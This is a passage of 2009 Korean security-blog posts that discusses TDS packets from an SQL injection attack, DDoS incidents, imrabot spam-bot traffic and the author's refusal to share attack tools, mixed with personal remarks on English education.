아마도 Response 패킷이 일부 잘못되어 형식에 맞지 않아 Unknown Token Type으로 나온게 아닌가 생각됩니다.

그리고 리턴되는 결과 중 메시지 형태일 때는 다음과 같은 토큰이 나오게 됩니다.




Error Message라는 토큰은 토큰내에 Error라는 필드에 미시지를 담고 있습니다.
명령에 대한 결과라기 보다는 에러 메시지이기 때문에 특정 형식에 맞춰져서 결과가 나오는 듯 합니다.

이 공격은 실제 공격자가 SQL Injection을 수행한 것인지 아니면 툴을 사용한것인지 악성코드에 의해서 수행된 것인지
정확히 확인하지 않았습니다만 Query 패킷이 전송되는 시간을 확인해보면 툴에 의한 행동이라는게 맞는것 같습니다.




TDS에 대해서 좀 더 공부하고 포스팅하는게 맞을 듯 한데
이것저것 찾아보면서 글을 올리다보니 좀 두서가 없었습니다. -_-;;
좀 더 연구를 해봐야겠습니다.








Posted by demantos
0xFF small talk2009. 8. 18. 05:06



정말 공감가는 글이 하나 있어 링크겁니다.

http://news.nate.com/View/20090817n16660&mid=n0809


저도 항상 이해가 안가는 것 중 하나가 국영수에 미친듯한 국내 교육 현실이었습니다.

그 중에서도 요즘 국내 교육현실을 보면 영어를 초등학교때부터 가르치고

내 자식이 영어를 잘해야 한다는 강박관념에 빠진 부모들이라는 것이죠..


아직 한글도 제대로 알지 못하는 어린 아이들에게 타국어를 강요하고

타국어를 잘하면 똑똑한 아이 못하면 덜 똑똑한 아이라고 인식하고 있는

우리나라 부모와 선생들의 생각에 이의를 제기하고 싶네요..


아직 한글을 다 알지 못하는 어린 아이들에게

굳이 영어를 그렇게 강요해야할까 하는 생각이 듭니다.



전 영어를 잘하지 못합니다.

하지만 필요에 의해 영어 공부를 하긴 합니다.

원하는 지식이나 자료들이 영어로 되어 있기 때문이죠..

여러분들도 공감하실겁니다.




오히려 요즘은 스페인어 공부를 하고 싶습니다.

유일하게 알고 있는 외국인 친구가 페루인이기 때문이죠.

http://malwarelab.tistory.com/18

윌슨은 요즘 한국어 공부를 하는 듯 합니다.




ㅎㅎㅎ


영어가 똑똑함의 기준이 아닙니다.

똑똑함의 기준은 사람마다 다릅니다.

모두 똑같은 잣대로 재지 마시기 바랍니다.




Posted by demantos
0xFF small talk2009. 8. 7. 18:16


어제 트위터, 페이스북 등 해외 사이트들이 DDoS 공격을 받았다는 뉴스는 다들 보셨을겁니다.



이번엔 8.8 대란인가?? 하는 생각이 뇌리를 스치고 지나갔습니다. -_-;;

제발 아니길 바랍니다..


확인 중 공격 대상자 IP 중에 일본IP가 몇개 확인되었습니다.

같이 근무하는 직원이 옆에서 그러는군요...


"8.15 DDoS 아니냐?? ㅋ"



주말엔 편하게 집에서 쉬고 싶습니다....흑....흑......




p.s 오랜만에 글 쓰는듯 한데 영양가가 별로 없군요..
      조만간 영양가 있는 내용으로 다시 찾아 뵙겠습니다. :-)




Posted by demantos
0x04 reference&tools2009. 7. 16. 18:22

바이러스랩님 블로그 갔다가 발견했습니다.

http://viruslab.tistory.com/935


원본은 안랩 메인페이지에서 링크타고 들어가니 나오더군요..

http://kr.ahnlab.com/info/securityinfo/newSecuNewsView.ahn?category=001&mid_cate=003&cPage=1&seq=14680


정리가 잘되어 있습니다.






이미 끝난 일이긴 하지만 이번 일은 쓰디쓴 교훈으로 삼고 머리속에 잘 심어놔야겠습니다.

이런 공격이 또 발생할지 아니면 좀 더 진화된 형태로 발생할지는 아무도 모르는 것이겠지요..



해답은 한가지밖에 없는 듯 합니다.

무한삽질~


삽질을 통해 진화하는 여러분들의 브레인을 보고 싶습니다~ ㅋㅋ







Posted by demantos
0xFF small talk2009. 7. 10. 16:15


여기 들르시는 대부분의 분들 이번주에 고생 많으셨죠?

저도 새벽 3~4시나 되야 집에 들어갈 수 있었습니다.

계속 바쁘게 움직이다 보니 제 블로그에 저도 못 들어와 보다가

오늘 들어와서 약간 씁쓸한 장면을 보았습니다.





그 동안 키워드명에 1순위의 개수가 10개 미만이었습니다.

지난 7일부터 시작된 DDoS 공격 덕분(?)인지 "ddos툴" 이라는 키워드가 무려 152건이나 됩니다.


더욱 씁씁한건 평소땐 50명을 넘기 힘들던 방문자수가 DDoS 공격 덕분에 212명까지 뛰는거였습니다.




그리고 "메일로 ddos 툴 좀 달라..." 는 댓글이 몇개 있더군요..

그냥 전부 삭제해버렸습니다.

ddos 툴이 받고 싶으시거든 저에게 USB 들고 찾아오시기 바랍니다.

저는 SK브로드밴드 서초 IDC에서 근무하고 있습니다. -_-;;





모두들 3일 동안 고생하셨습니다.

오늘은 지인들과 편하게 쏘주잔 기울이실 수 있으실겁니다. ^^


참고로 이번 사건의 모든 히스토리가 담겨 있는 사이트 링크합니다.

거의 실시간으로 분석해서 증상들을 올려 주셔서 많은 도움이 되었었습니다.

http://viruslab.tistory.com
http://xcoolcat7.tistory.com



Posted by demantos
0x04 reference&tools2009. 7. 7. 18:52

얼마전 작성했던 DNS MX 쿼리 증가 관련 글에 약간 추가할 내용이 생겼습니다.

http://malwarelab.tistory.com/33
http://malwarelab.tistory.com/34


그때 당시 캡쳐했던 패킷에서 제가 지나쳤던 부분이 있었는데 바로 imrabot이라는 녀석이었습니다.

악성 도메인으로부터 파일을 받아서 실행을 하고 스팸메일을 뿌리기 바로 직전에 통신 내용입니다.




bot_id와 mode라는 파라미터값을 전달하자 이상한 값들이 리턴되고 있습니다.

해쉬값인듯 한데 마지막에 == 이 있어서 baase64인가보다 하고 디코딩을 시도해봤지만 base64로 인코딩된게 아니었는지

정상적으로 디코딩이 되지 않았습니다.



최근 급증하고 있는 DNS MX 쿼리는 이 녀석이 확실한 듯 하구요

정보를 찾다가 일본 사이트에서 좋은 정보를 찾을 수 있었습니다.

http://jvnrss.ise.chuo-u.ac.jp/csn/index.cgi?p=%CA%CC%A4%CEspam+bot



Fast Flux라는 기법이라고 지인분께 들었는데요

Fast Flux는 nchovy 사이트를 참조하시면 되겠습니다.

솔직히 전 잘 이해가 안갑니다...ㅜ.ㅜ

이해가 잘 되시는 분들께서 알려주시면 감사~하겠습니다.

http://nchovy.kr/forum/5/article/184





Posted by demantos
0xFF small talk2009. 6. 29. 13:04


제목 그대로입니다.

제가 신뢰할 수 있는 신분이 명확하신 분들을 제외한 분들께는

본인이 소유하고 있는 공격용 도구들은 공유하지 않겠습니다.


가끔 댓글이나 방명록에 이메일 주소만 적어 놓고 공격용 도구를 요구하는 놈들이 있습니다.

나쁜 의도로는 쓰지 않겠다고 하는데 제가 그 말을 믿을 수가 없지 않나요?

공격용 프로그램을 요구하는놈들은 대부분 순수 연구 목적이라고 말은 하지만

제가 납득할 수 있을만한 근거를 제시를 하지 않더군요..


저도 순순 연구 목적이라는 말은 할 수 있습니다.

그렇게 원한다면 본인이 직접 인터넷이든 어둠의 경로든 찾으시기 바랍니다.


공격용 도구를 요구하는 글은 사전 통보없이 무조건 삭제하겠습니다.




그럼 즐~삽~ 하시기 바랍니다.





Posted by demantos